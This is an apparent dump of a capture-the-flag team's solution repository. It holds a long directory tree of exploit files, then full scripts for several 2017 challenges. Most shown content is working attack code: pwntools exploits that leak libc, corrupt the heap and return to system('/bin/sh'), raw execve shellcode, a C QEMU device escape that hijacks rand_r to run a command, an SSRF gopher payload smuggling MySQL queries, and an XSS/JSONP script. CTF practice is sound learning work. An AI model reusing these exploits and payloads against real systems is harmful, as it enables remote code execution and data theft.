│   │   ├── blockchain/
│   │   │   └── fake3d/
│   │   │       └── fake.js
│   │   └── pwn/
│   │       └── easiest/
│   │           ├── easiest
│   │           └── exp.py
│   ├── codegate-quals-2018/
│   │   ├── pwn/
│   │   │   ├── BaskinRobins31/
│   │   │   │   ├── BaskinRobins31
│   │   │   │   └── solve_baskinrobins31.py
│   │   │   ├── gamebox1/
│   │   │   │   ├── _7amebox_patched.py
│   │   │   │   ├── d9dbb37c3a555979f021e9a60908ee6a
│   │   │   │   ├── memo.txt
│   │   │   │   └── solve.py
│   │   │   ├── marimo/
│   │   │   │   ├── 7ae39f9f3910ac6928dffc35a2b25548
│   │   │   │   └── solve.py
│   │   │   └── melong/
│   │   │       ├── 3cba1eb7a5bcd42097c3c3b6ff74c3a0
│   │   │       └── solve.py
│   │   └── web/
│   │       ├── SimpleCMS/
│   │       │   └── index.md
│   │       └── rbSql/
│   │           ├── dbconn.php
│   │           ├── exp.py
│   │           └── index.php
│   ├── csaw-quals-2018/
│   │   ├── ppc/
│   │   │   └── bin_t/
│   │   │       └── exp.py
│   │   ├── pwn/
│   │   │   ├── alien/
│   │   │   │   ├── aliensVSsamurais
│   │   │   │   └── exp.py
│   │   │   ├── doubletrouble/
│   │   │   │   ├── doubletrouble
│   │   │   │   ├── exp.py
│   │   │   │   └── libc.so.6
│   │   │   └── plc/
│   │   │       └── exp.py
│   │   └── web/
│   │       ├── hackermovie/
│   │       │   └── README.md
│   │       ├── ldab/
│   │       │   └── README.md
│   │       ├── novuln/
│   │       │   └── README.md
│   │       └── sso/
│   │           └── README.md
│   ├── ctfzone-quals-2018/
│   │   ├── crypto/
│   │   │   └── SignatureServer/
│   │   │       ├── exp.py
│   │   │       ├── exp2.py
│   │   │       └── server.py
│   │   └── ppc/
│   │       └── PlusMinus/
│   │           └── exp.py
│   ├── defcon-quals-2018/
│   │   └── pwn/
│   │       └── babypwn/
│   │           ├── baby.c
│   │           └── solve_babypwn_ref.py
│   ├── dragonctf-2018/
│   │   ├── crypto/
│   │   │   └── aes/
│   │   │       ├── exp.py
│   │   │       ├── exp12.py
│   │   │       ├── exp2.py
│   │   │       ├── exp3.py
│   │   │       ├── exp43.py
│   │   │       ├── flag
│   │   │       ├── secret.py
│   │   │       └── server.py
│   │   └── web/
│   │       └── Nodepad/
│   │           ├── README.md
│   │           ├── cli.py
│   │           └── notes.js
│   ├── google-2018/
│   │   └── web/
│   │       └── gcalc/
│   │           ├── README.md
│   │           └── app.js
│   ├── hacklu-2018/
│   │   ├── crypto/
│   │   │   └── relate/
│   │   │       └── exp.py
│   │   ├── pwn/
│   │   │   ├── babyexploit/
│   │   │   │   ├── chall
│   │   │   │   └── exp.py
│   │   │   ├── heap_heaven_2/
│   │   │   │   ├── exp.py
│   │   │   │   ├── heap_heaven_2
│   │   │   │   └── libc.so.6
│   │   │   ├── heap_hell/
│   │   │   │   ├── exp.py
│   │   │   │   ├── heap_hell
│   │   │   │   └── libc.so.6
│   │   │   ├── heap_hell_2/
│   │   │   │   ├── exp.py
│   │   │   │   ├── heap_hell_2
│   │   │   │   └── libc.so.6
│   │   │   └── slot_machine/
│   │   │       ├── exp1.py
│   │   │       ├── exp2.py
│   │   │       ├── libc.so.6
│   │   │       └── slot_machine
│   │   └── web/
│   │       └── BabyPHP/
│   │           ├── README.md
│   │           └── index.php
│   ├── hctf-quals-2018/
│   │   ├── blockchain/
│   │   │   └── ez2win/
│   │   │       └── exp.md
│   │   ├── crypto/
│   │   │   ├── xor_game/
│   │   │   │   ├── challenge.py
│   │   │   │   ├── cipher.txt
│   │   │   │   └── exp.py
│   │   │   └── xor_rsa/
│   │   │       ├── rsa.py
│   │   │       ├── short.sage
│   │   │       └── short.sage.py
│   │   └── misc/
│   │       └── freqgame/
│   │           ├── freqexp.py
│   │           └── freqgame.py
│   ├── hitcon-2018/
│   │   ├── crypto/
│   │   │   └── key/
│   │   │       ├── exp.py
│   │   │       ├── exp2.py
│   │   │       ├── exp3.py
│   │   │       ├── flag
│   │   │       ├── server.py
│   │   │       └── test.py
│   │   ├── misc/
│   │   │   └── ev3scanner/
│   │   │       ├── ev3_scanner_record.pklg
│   │   │       └── test.py
│   │   └── pwn/
│   │       ├── abyss/
│   │       │   ├── README.md
│   │       │   ├── exp1.py
│   │       │   ├── exp2.py
│   │       │   ├── exp3.py
│   │       │   ├── flag
│   │       │   ├── flag2
│   │       │   ├── flag3-md5-of-content
│   │       │   ├── hypervisor.elf
│   │       │   ├── ld.so.2
│   │       │   └── libc.so.6
│   │       ├── baby_tcache/
│   │       │   ├── baby_tcache
│   │       │   ├── exp.py
│   │       │   └── libc.so.6
│   │       └── children_tcache/
│   │           ├── children_tcache
│   │           ├── exp.py
│   │           └── libc.so.6
│   ├── meepwn-final-2018/
│   │   ├── crypto/
│   │   │   └── esor/
│   │   │       ├── exp.py
│   │   │       ├── exp2.py
│   │   │       └── src.py
│   │   └── pwn/
│   │       ├── babyarm/
│   │       │   ├── babyarm
│   │       │   ├── exp.py
│   │       │   ├── gdb.sh
│   │       │   ├── libc.so.6
│   │       │   └── run.sh
│   │       ├── emu8/
│   │       │   ├── bf
│   │       │   ├── emu8
│   │       │   ├── exp.py
│   │       │   └── libc.so.6
│   │       └── jump/
│   │           ├── exp.py
│   │           └── jump
│   ├── meepwn-quals-2018/
│   │   ├── crypto/
│   │   │   ├── bazik/
│   │   │   │   ├── exp.py
│   │   │   │   ├── key.pub
│   │   │   │   ├── solve.py
│   │   │   │   └── solve.sage
│   │   │   ├── bitbitbit/
│   │   │   │   ├── README.md
│   │   │   │   ├── midbit.py
│   │   │   │   └── solve.sage
│   │   │   ├── esor/
│   │   │   │   ├── exp.py
│   │   │   │   └── server.py
│   │   │   ├── old_school/
│   │   │   │   ├── README.md
│   │   │   │   ├── part_1.txt
│   │   │   │   ├── part_2.txt
│   │   │   │   └── part_3.txt
│   │   │   └── still_old_school/
│   │   │       ├── README.md
│   │   │       ├── aes_server.py
│   │   │       ├── mid.py
│   │   │       └── sock.py
│   │   └── web/
│   │       └── grandline/
│   │           ├── README.md
│   │           └── index.php
│   ├── n1ctf-2018/
│   │   ├── crypto/
│   │   │   ├── baby_N1ES/
│   │   │   │   ├── N1ES.py
│   │   │   │   ├── README.md
│   │   │   │   └── challenge.py
│   │   │   └── easy_fs/
│   │   │       ├── README.md
│   │   │       └── easy_fs
│   │   ├── misc/
│   │   │   └── math_gath/
│   │   │       ├── debug.txt
│   │   │       └── mathGame.py
│   │   ├── pwn/
│   │   │   ├── beeper/
│   │   │   │   ├── beeper
│   │   │   │   └── solve.py
│   │   │   ├── network_card/
│   │   │   │   └── solve.c
│   │   │   ├── null/
│   │   │   │   └── solve.py
│   │   │   └── vote/
│   │   │       ├── solve.py
│   │   │       ├── solve2.py
│   │   │       └── vote
│   │   └── re/
│   │       ├── baby_neural_network/
│   │       │   ├── README.md
│   │       │   └── baby_neural_network
│   │       └── lfi/
│   │           ├── README.md
│   │           └── decompiled.lua
│   ├── pico-2018/
│   │   └── pwn/
│   │       └── cake/
│   │           ├── cake
│   │           └── solve_cake.py
│   ├── plaidctf-2018/
│   │   └── pwn/
│   │       └── shop/
│   │           ├── shop
│   │           └── solve_shop.py
│   ├── seccon-quals-2018/
│   │   └── pwn/
│   │       ├── q-escape/
│   │       │   └── solve.c
│   │       └── simplememo/
│   │           ├── exp.py
│   │           ├── libc.so.6
│   │           ├── memo
│   │           └── sc.s
│   ├── starctf-2018/
│   │   ├── pwn/
│   │   │   ├── babystack/
│   │   │   │   └── solve.py
│   │   │   ├── calc/
│   │   │   │   └── solve.py
│   │   │   ├── heap/
│   │   │   │   └── solve.py
│   │   │   ├── note/
│   │   │   │   ├── libc.so.6
│   │   │   │   ├── note
│   │   │   │   └── solve_note_ref.py
│   │   │   ├── primepwn/
│   │   │   │   └── solve.py
│   │   │   ├── stackoverflow/
│   │   │   │   └── solve.py
│   │   │   ├── url/
│   │   │   │   ├── c1c1d680-836d-4b96-8648-772ee5cd81b7.urlparse-47e10be0295a1c6c479a260239f5e0b1fd0c9696
│   │   │   │   └── solve.py
│   │   │   └── url2/
│   │   │       ├── cb57c387-959a-4dd1-845c-48701eabc608.urlparse2-123d085f1337ff85aaff95b1c23e5cabedc6e2cb
│   │   │       ├── libc.so.6-56d992a0342a67a887b8dcaae381d2cc51205253
│   │   │       └── solve.py
│   │   └── re/
│   │       ├── BabyDroid/
│   │       │   ├── README.md
│   │       │   └── baby.apk
│   │       └── wasm/
│   │           ├── README.md
│   │           ├── check.wasm
│   │           ├── solve.py
│   │           └── tea.py
│   ├── twctf-2018/
│   │   └── crypto/
│   │       ├── mixed/
│   │       │   ├── exp.py
│   │       │   ├── exp2.py
│   │       │   ├── lsbtest.py
│   │       │   ├── lsbtest2.py
│   │       │   ├── lsbtest3.py
│   │       │   ├── mt19937predictor.py
│   │       │   ├── server.py
│   │       │   └── testmt.py
│   │       └── scs7/
│   │           └── exp.py
│   ├── uiuctf-2018/
│   │   └── pwn/
│   │       └── how2heap/
│   │           ├── how2heap
│   │           └── solve_how2heap.py
│   ├── wctf-2018/
│   │   ├── crypto/
│   │   │   ├── rsa/
│   │   │   │   ├── README.md
│   │   │   │   ├── cinv.py
│   │   │   │   └── wmap.cpp
│   │   │   └── sgx_encrypt/
│   │   │       ├── exp.py
│   │   │       └── exp2.py
│   │   └── pwn/
│   │       └── klist/
│   │           └── solve.c
│   └── xnuca-quals-2018/
│       ├── crypto/
│       │   ├── unconditional_security/
│       │   │   ├── solve.py
│       │   │   └── unconditional_security
│       │   └── warmup/
│       │       ├── Buggy_Server.py
│       │       ├── exp.py
│       │       └── sniffed.pcapng
│       ├── pwn/
│       │   ├── 0gadget/
│       │   │   ├── 0gadget
│       │   │   └── solve_0gadget.py
│       │   ├── gets/
│       │   │   ├── exp.py
│       │   │   └── gets
│       │   ├── revenge/
│       │   │   ├── exp.py
│       │   │   └── revenge
│       │   ├── secretcenter/
│       │   │   ├── exp.py
│       │   │   ├── hint.txt
│       │   │   ├── libc.so.6
│       │   │   ├── secret.txt
│       │   │   └── secret_center
│       │   ├── ssd/
│       │   │   └── solve.c
│       │   └── steak/
│       │       ├── exp.py
│       │       └── steak
│       └── re/
│           ├── code_interpreter/
│           │   ├── Code_Interpreter
│           │   ├── code
│           │   └── emu.py
│           └── renn/
│               ├── checkpoint
│               ├── exp.py
│               ├── model.data-00000-of-00001
│               ├── model.index
│               ├── model.meta
│               └── renn.py
├── 2022/
│   └── darksol/
│       ├── README.md
│       ├── solve1/
│       │   ├── exploit.py
│       │   ├── solana_helpers.py
│       │   └── solution/
│       │       ├── Makefile
│       │       ├── dist/
│       │       │   ├── solution/
│       │       │   │   └── solution.o
│       │       │   └── solution-keypair.json
│       │       └── src/
│       │           └── solution/
│       │               └── solution.c
│       ├── solve2/
│       │   ├── exploit.py
│       │   ├── solana_helpers.py
│       │   └── solution/
│       │       ├── Makefile
│       │       ├── dist/
│       │       │   ├── solution/
│       │       │   │   └── solution.o
│       │       │   └── solution-keypair.json
│       │       └── src/
│       │           └── solution/
│       │               └── solution.c
│       ├── solve3/
│       │   ├── exploit.py
│       │   ├── solana_helpers.py
│       │   └── solution/
│       │       ├── Makefile
│       │       ├── dist/
│       │       │   ├── solution/
│       │       │   │   └── solution.o
│       │       │   └── solution-keypair.json
│       │       └── src/
│       │           └── solution/
│       │               └── solution.c
│       └── source/
│           ├── darksols/
│           │   ├── .dockerignore
│           │   ├── Cargo.toml
│           │   ├── Dockerfile
│           │   ├── spl-token/
│           │   │   ├── .cargo-checksum.json
│           │   │   ├── Cargo.toml
│           │   │   ├── Xargo.toml
│           │   │   ├── inc/
│           │   │   │   └── token.h
│           │   │   ├── program-id.md
│           │   │   └── src/
│           │   │       ├── entrypoint.rs
│           │   │       ├── error.rs
│           │   │       ├── instruction.rs
│           │   │       ├── lib.rs
│           │   │       ├── native_mint.rs
│           │   │       ├── processor.rs
│           │   │       └── state.rs
│           │   └── src/
│           │       └── main.rs
│           ├── evil-contract/
│           │   ├── Makefile
│           │   └── src/
│           │       ├── evil-contract/
│           │       │   └── evil-contract.c
│           │       └── shared/
│           │           ├── clock.h
│           │           ├── program.h
│           │           └── test.h
│           └── programs/
│               ├── Makefile
│               └── src/
│                   ├── darksols/
│                   │   └── darksols.c
│                   └── shared/
│                       ├── clock.h
│                       ├── program.h
│                       └── test.h
├── LICENSE
├── README.md
└── todo.md

================================================
FILE CONTENTS
================================================

================================================
FILE: .gitattributes
================================================
baby_neural_network filter=lfs diff=lfs merge=lfs -text


================================================
FILE: .gitignore
================================================
.DS_Store
*.pyc
.gdb_history
__pycache__


================================================
FILE: .gitmodules
================================================
[submodule "2019"]
	path = 2019
	url = https://github.com/0ops/ctfs-2019.git
[submodule "2020"]
	path = 2020
	url = https://github.com/0ops/ctfs-2020.git
[submodule "2021"]
	path = 2021
	url = https://github.com/0ops/ctfs-2021.git


================================================
FILE: 2017/0ctf-quals-2017/StarCraft/StarCraft_remote.py
================================================
#!/usr/bin/env python
# coding=utf-8

from pwn import *
from pwnlib.log import *

port = 12321
service = 'StarCraft'
timeout = 30
author = "izhuer"

def output(name, data):
    info(name + ': %#x', data)

def lmov(data):
    bit = data >> 31
    data = data << 1;
    data = (data | bit) & 0xffffffff
    return data


def exploit(ip):
    # r = process('./StarCraft') #, aslr = False)
    # pid = r.proc.pid
    r = remote(ip, port)
    # r = remote('localhost', port)
    # r.recvuntil('Pid of subprocess: ')
    # pid = int(r.recvline().strip())
    # e = ELF('./StarCraft')
    # context.log_level = 'debug'
    context.terminal = ['tmux', 'splitw', '-h']

    script = """
    b exit
    """
    # gdb.attach(pid, execute = script)

    ###################### exp starts here #####################

    map(r.sendline, ['1', '24', "zhangzhuo"])
    r.recvuntil('Menu')

    for i in xrange(9):
        map(r.sendline, ['6', '1', str(9 - i), str(9 - i), 'y'])
        r.recvuntil('Menu')

    map(r.sendline, ['3', '0', '0'])
    r.recvuntil('Menu')

    map(r.sendline, ['5', '2', '1', 'zz'])
    r.recvuntil('Menu')

    for i in xrange(7):
        map(r.sendline, ['4', '1', '1'])
        r.recvuntil('Menu')


    map(r.sendline, ['6', '1', '0', '0', 'y'])
    r.recvuntil('Menu')

    map(r.sendline, ['6', '1', '0', '0', 'y'])
    r.recvuntil('Menu')

    map(r.sendline, ['2', '32', p32(0x804cffc) + p32(0x1) + p32(0) * 5])
    r.recvuntil('Menu')
    map(r.sendline, ['6', '2', '0'])
    r.recvuntil("a version ")
    atoi_addr = u32(r.recv(4))
    output("atoi_addr", atoi_addr)
    system_addr = atoi_addr - 0x0002f850 + 0x0003e3e0
    output("system_addr", system_addr)
    binsh_addr = atoi_addr - 0x0002f850 + 0x15f551
    output("binsh_addr", binsh_addr)
    xor_addr = atoi_addr - 0x30138
    output("xor_addr", xor_addr)
    exit_funcs_addr = atoi_addr + 0x17a990
    output("exit_funcs_addr", exit_funcs_addr)
    r.recvuntil('Menu')

    target_data = system_addr
    output("target_data", target_data)
    for i in xrange(9):
        target_data = lmov(target_data)
    output("target_data", target_data)

    map(r.sendline, ['2', '32', p32(binsh_addr) + p32(exit_funcs_addr + 0xc) + p32(xor_addr)])
    r.recvuntil('war!\n')
    r.sendline('0')
    r.recvuntil('nickname\n')
    r.sendline(p32(target_data) + p32(binsh_addr))

    r.interactive()

    ######################### exp ends #########################

if __name__ == "__main__":
    exploit('202.120.7.212')


================================================
FILE: 2017/34c3-2017/web/blog/cli.py
================================================
import requests
from saker.main import Saker


class Blog(Saker):

    def __init__(self, url=""):
        super(Blog, self).__init__(url)

    def getToken(self):
        target = "csrfmiddlewaretoken' value='"
        index = self.lastr.content.find(target) + len(target)
        return self.lastr.content[index:].split("'")[0]

    def signup(self, name, pwd="123asdzxc"):
        self.get("signup/")
        data = {
            "username": name,
            "password1": pwd,
            "password2": pwd,
            "csrfmiddlewaretoken": self.getToken(),
        }
        self.post("signup/", data=data)
        # print(self.lastr.content)

    def login(self, name, pwd="123asdzxc"):
        self.get("login/")
        data = {
            "username": name,
            "password": pwd,
            "csrfmiddlewaretoken": self.getToken(),
        }
        self.post("login/", data=data)
        # print(self.lastr.content)

    def publish(self, title, content):
        self.get()
        captcha = eval(self.lastr.content.split("What is ")[1].split("?")[0])
        data = {
            "title": title,
            "post": content,
            "captcha_answer": captcha,
            "csrfmiddlewaretoken": self.getToken(),
        }
        self.post("publish", data=data)

    def feed(self, ftype="json", callback=""):
        params = {
            "type": ftype,
            "cb": callback,
        }
        self.get("feed", params=params)
        print(self.lastr.content)

    def flag1(self):
        self.get("flag1")

    def flagapi(self):
        self.get()
        captcha = eval(self.lastr.content.split("What is ")[1].split("?")[0])
        data = {
            "captcha_answer": captcha,
        }
        self.post("flagapi", data=data)

if __name__ == '__main__':
    b = Blog("http://35.197.245.102/")
    username = "lyle4"
    b.signup(username)
    b.login(username)
    b.flagapi()
    exit()
    # 访问flag1
    # 获取页面
    # 转发
    b.feed("jsonp", "alert")
    b.signup(username)
    b.login(username)
    b.publish("title", '"+2+"')
    b.publish("test", "<script src='/feed?type=jsonp&cb=eval'></script>")
    b.feed("jsonp", "eval")
    b.publish("lyel2", "<script src='/feed?type=jsonp&cb=alert'></script>")
    b.feed("jsonp", "alert")


================================================
FILE: 2017/34c3-2017/web/extract/index.py
================================================
import requests
from urllib import quote
from urllib import unquote

url = "http://35.198.175.71/?url="

csrf = "gopher://foo@localhost:f@t.cn:3306/"

payload = "\x5f\xad\x00\x00\x01\x85\xa6\xff\x01\x00\x00\x00\x01\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"m4st3r_ov3rl0rd\x00\x00mysql_native_password\x00e\x03_os\x05Linux\x0c_client_name\x08libmysql\x04_pid\x041599\x0f_client_version\x065.7.20\t_platform\x06x86_64\x0cprogram_name\x05mysql9\x00\x00\x00\x03"
payload += "select if(ascii(mid(flag, 1,1))> 10,1,11) from flag.flag"

payload = quote(payload)
payload = quote(csrf+payload)

payload = "gopher://foo@[cafebabe.cf]@yolo.com:3306/A%48%00%00%01%85%a6%3f%20%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%6d%34%73%74%33%72%5f%6f%76%33%72%6c%30%72%64%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%00%4c%01%00%00%03%73%65%6c%65%63%74%20%63%6f%6e%63%61%74%28%63%61%73%74%28%30%78%35%30%34%62%30%33%30%34%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%61%30%30%30%30%30%30%36%37%36%39%36%64%36%64%36%35%35%66%36%36%36%63%36%31%36%37%20%61%73%20%62%69%6e%61%72%79%29%2c%20%72%70%61%64%28%66%6c%61%67%2c%20%31%30%30%2c%20%27%41%27%29%2c%20%63%61%73%74%28%30%78%35%30%34%62%30%31%30%32%31%65%30%33%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%34%30%30%30%30%30%30%36%34%30%30%30%30%30%30%30%61%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%30%36%37%36%39%36%64%36%64%36%35%35%66%36%36%36%63%36%31%36%37%35%30%34%62%30%35%30%36%30%30%30%30%30%30%30%30%30%31%30%30%30%31%30%30%33%38%30%30%30%30%30%30%38%63%30%30%30%30%30%30%30%30%30%30%20%61%73%20%62%69%6e%61%72%79%29%29%20%66%72%6f%6d%20%66%6c%61%67%2e%66%6c%61%67%2d%2d%20%2d%46%4f%4f%4f%4f%4f%4f%4f%4f%4f%4f%4f%4f%42%41%52"
payload = quote(payload)
r = requests.get(url + payload)
print r.content

================================================
FILE: 2017/blizzard-2017/strng/README.md
================================================
[Chall](https://github.com/rcvalle/blizzardctf2017/releases/download/v0.0.1/strng.tar.gz)


================================================
FILE: 2017/blizzard-2017/strng/solve.c
================================================
/* 
 * author: luckasdf0
 * build: gcc ./solve.c
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/io.h>

#define LOG(...) printf(__VA_ARGS__)

void die(const char* msg) {
    perror(msg);
    _exit(-1);
}

void hexdump(uint8_t *mem, size_t len) {
    for (size_t i = 1; i <= len; i++) {
        printf("%02x ", mem[i-1]);
        if (i % 16 == 0)
            printf("\n");
        else if (i % 8 == 0)
            printf("  ");
    }
}

#define STRNG_MMIO_ADDR 0x00000000febf1000
#define STRNG_MMIO_SIZE 0x100
#define STRNG_MMIO_MAP_BASE 0xdead0000

#define STRNG_PMIO_BASE 0x000000000000c050
#define STRNG_PMIO_SIZE 0x8

void pmio_write(uint64_t addr, uint32_t value) {
    outl(value, STRNG_PMIO_BASE+addr);
}

uint32_t pmio_read(uint64_t addr) {
    return inl(STRNG_PMIO_BASE+addr);
}

int main(int argc, char const* argv[]) {
    int devmem_fd;
    uint64_t libc_srandom = 0;
    uint64_t libc_base = 0;
    uint64_t libc_system = 0;

    if (iopl(3) != 0) {
        die("iopl");
    }

    devmem_fd = open("/dev/mem", O_RDWR | O_SYNC);
    if (devmem_fd < 0) {
        die("open /dev/mem");
    }

    if (!mmap((void *)STRNG_MMIO_MAP_BASE, STRNG_MMIO_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, devmem_fd, STRNG_MMIO_ADDR)) {
        die("mmap mmio");
    }
    close(devmem_fd);
    
    // leak
    pmio_write(0, 0x104);
    libc_srandom = pmio_read(4);
    pmio_write(0, 0x108);
    libc_srandom += ((uint64_t)pmio_read(4))<<32;
    libc_base = libc_srandom - 0x3a8d0;
    LOG("libc_srandom : 0x%016llx", libc_srandom);
    LOG("libc_base : 0x%016llx", libc_base);
    libc_system = libc_base + 0x45390;
 
    // prepare argument for system
    pmio_write(0, 0x8);
    pmio_write(4, 1852400175);
    pmio_write(0, 0xc);
    pmio_write(4, 0x41414141);
    pmio_write(0, 0x10);
    pmio_write(4, 1952539451); // ";cat"
    pmio_write(0, 0x14);
    pmio_write(4, 1869754144); // " /ro"
    pmio_write(0, 0x18);
    pmio_write(4, 1714386031); // "ot/f"
    pmio_write(0, 0x1c);
    pmio_write(4, 996630892); // "lag;"

    // overwrite rand_r
    pmio_write(0, 0x114);
    pmio_write(4, libc_system&0xffffffff);
    pmio_write(0, 0x118);
    pmio_write(4, libc_system>>32);

    // triger
    pmio_write(0, 0xc);
    pmio_write(4, 0xdeadbeef);

    return 0;
}


================================================
FILE: 2017/csaw-quals-2017/pwn/auir/auir.py
================================================

import sys
from pwn import *

__author__ = 'b1gtang
'
#context.log_level = 'info'
context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

L = False # local or remote
E = False # set env

BIN_NAME = sys.argv[1]
BIN_BASE = 0x0000555555554000

LIBC32_L = '/lib/i386-linux-gnu/libc.so.6'
LIBC32_R = './libc_32.so.6'
LIBC64_L = '/lib/x86_64-linux-gnu/libc.so.6'
LIBC64_R = './libc_64.so.6'

if E:
    os.environ['LD_PRELOAD'] = '.'

if L:
    libc = ELF('./libc.so.6')
    r = process(BIN_NAME)
else:
    libc = ELF('./libc.so.6')
    r = remote('pwn.chal.csaw.io',7713)

# gdb.attach(r, execute='b *0x%x' % (BIN_BASE+0x0000000000001201))
#gdb.attach(r, execute='b *0x%x' % (0x000000000402060))

def add_chunk(content,size):
    r.recvuntil('>>')
    r.sendline('1')
    r.recvuntil('>>')
    r.sendline(str(size))
    r.recvuntil('>>')
    r.sendline(content)

def del_chunk(idx):
    r.recvuntil('>>')
    r.sendline('2')
    r.recvuntil('>>')
    r.sendline(str(idx))

def fix_chunk(idx,content,size):
    r.recvuntil('>>')
    r.sendline('3')
    r.recvuntil('>>')
    r.sendline(str(idx))
    r.recvuntil('>>')
    r.sendline(str(size))
    r.recvuntil('>>')
    r.sendline(content)

def see_chunk(idx):
    r.recvuntil('>>')
    r.sendline('4')
    r.recvuntil('>>')
    r.sendline(str(idx))

add_chunk(0x10*'a',0x80)
add_chunk(0x10*'a',0x60)
add_chunk(0x10*'a',0x60)
add_chunk('/bin/sh\x00',0x60)

del_chunk(0)
see_chunk(0)
r.recvuntil('[*]SHOWING....\n')
libc_base = u64(r.recv(8))-0x3c4b78
print hex(libc_base)

del_chunk(2)
#fix_chunk(1,0x60*'b'+p64(0)+p64(0x71)+p64(libc_base+0x3c5ce5),0x78)
fix_chunk(1,0x60*'b'+p64(0)+p64(0x71)+p64(libc_base+0x3c4aed),0x78)

add_chunk(0x10*'a',0x60)
add_chunk(0x10*'a',0x60)
fix_chunk(5,'\x00'*(0x83-8)+p64(libc_base+0x3c5c50),0x90)

add_chunk(0x10*'d',0x80)
add_chunk(0x1*'a',0xb00)
add_chunk(0x38*'\x00'+p64(libc_base+libc.symbols['system']),0x40)

del_chunk(3)
r.interactive()
#r.sendline('cat /*/*/flag')


================================================
FILE: 2017/csaw-quals-2017/pwn/pilot/solve_pilot.py
================================================
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process('./pilot')
#p=remote('pwn.chal.csaw.io',8464)
#gdb.attach(p,'b *0x400ae0')
print p.recvuntil('Location:')
get=p.recvline()
print get
addr=int(get,16)
print p.recvuntil('Command:')

payload="\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"+'a'*(32-24+8)+p64(addr)
print payload
p.sendline(payload)
p.interactive()

================================================
FILE: 2017/csaw-quals-2017/pwn/scv/scv.py
================================================
import os
import sys
from pwn import *

__author__ = 'b1gtang'

context.log_level = 'info'
# context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

L = False # local or remote
E = True # set env

BIN_NAME = sys.argv[1]
BIN_BASE = 0x0000555555554000

LIBC32_L = '/lib/i386-linux-gnu/libc.so.6'
LIBC32_R = './libc_32.so.6'
LIBC64_L = '/lib/x86_64-linux-gnu/libc.so.6'
LIBC64_R = './libc_64.so.6'

if E:
    os.environ['LD_PRELOAD'] = './libc.so.6'

if L:
    libc = ELF('./libc.so.6')
    r = process(BIN_NAME)
else:
    libc = ELF('./libc.so.6')
    r = remote('pwn.chal.csaw.io',3764)

#gdb.attach(r, execute='b *0x%x' % (0x000000000400CCE))
# gdb.attach(r, execute='b *0x%x' % (0x0000000000001201))

r.recvuntil('>>')
r.sendline('1')
r.recvuntil('>>')
r.sendline('a'*0xa8)

r.recvuntil('>>')
r.sendline('2')
r.recvuntil('aaaa\n')
canary = r.recv(7)
print canary.encode('hex')

r.recvuntil('>>')
r.sendline('1')
r.recvuntil('>>')
r.sendline('a'*(0xb8-1))

r.recvuntil('>>')
r.sendline('2')
r.recvuntil('aaaa\n')
data = r.recv(6)+'\x00\x00'
libc_base = u64(data)-0x20830
print hex(libc_base)

system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()
print hex(system_addr)
print hex(bin_sh_addr)

r.recvuntil('>>')
r.sendline('1')
r.recvuntil('>>')
r.sendline('a'*0xa8+'\x00'+canary+'b'*8+p64(0x0000000000400ea3)+p64(bin_sh_addr)+p64(system_addr))

r.interactive()
#r.sendline('cat /*/*/flag')


================================================
FILE: 2017/hacklu-2017/pwn/mult-o-flow/solve_mult-o-flow.py
================================================
#!/usr/bin/python
from pwn import *
p=process('./mult-o-flow')
#p = remote('flatearth.fluxfingers.net', 1746)
context(arch='i386',log_level='debug')
def main():
	p.recvuntil('>')
	
	p.send('a'*62+'sh')
	canary=0x112233
	system_addr=0x48882
	s_addr=0x4b124+0xf8
	p.recvuntil('tables :-)\n')

	dest='z'*0x1000

	s='ISP:'+' '*9
	s=s.rjust(0x200,'s')

	v3='City:'+' '*9
	v3=v3.rjust(0x200-0xff,'3')
	v3='/bin/sh'.rjust(0xff,'a')+v3

	over='a'*4+p32(canary)[:-1]+'<'+'a'*0x10+p32(system_addr)[:-1]+'<'+p32(s_addr)[:-1]
	
	payload=dest+s+v3+over
	#gdb.attach(p,'b *0x48c53\nb *0x48a14')
	p.send(payload)
	p.interactive()
if __name__=='__main__':
	main()


================================================
FILE: 2017/tuctf-2017/pwn/guestbook/solve_guestbook.py
================================================
from pwn import *
context(log_level='debug',arch='i386')
p=process("./guestbook")#,env={"LD_PRELOAD":"./libc.so.6"})#,aslr=False)
#p=remote("guestbook.tuctf.com",4545)

#,"b *0x%x\nb *0x%x"%(0x56555000+0x9c6,0x56555000+0x8de))
libc=ELF('./libc.so.6')
#p.interactive()
p.sendafter(">>>","aaa\n")
p.sendafter(">>>",'bbb\n')
p.sendafter(">>>",'/bin/sh;\n')
p.sendafter(">>>",'ddd\n')
#14 -0x26f=ebp
p.sendafter(">>",'1\n')
p.sendafter(">>>",'6\n')
heapbase=u32(p.recv(4))-8

p.sendafter(">>",'1\n')
p.sendafter(">>>","47\n")
libc1addr=u32(p.recv(4))

p.sendafter(">>",'2\n')
p.sendafter(">>>",'6\n')
p.sendafter(">>>",p32(libc1addr+8)+'\n'+'\n')

p.sendafter(">>",'1\n')
p.sendafter(">>>",'0\n')
code_base=u32(p.recv(4))-0x1ef0

p.sendafter(">>",'2\n')
p.sendafter(">>>",'6\n')
p.sendafter(">>>",p32(code_base+0x2014)+'\n'+'\n')

p.sendafter(">>",'1\n')
p.sendafter(">>>",'0\n')
sysaddr=u32(p.recv(4))-0x65b40+0x3ada0

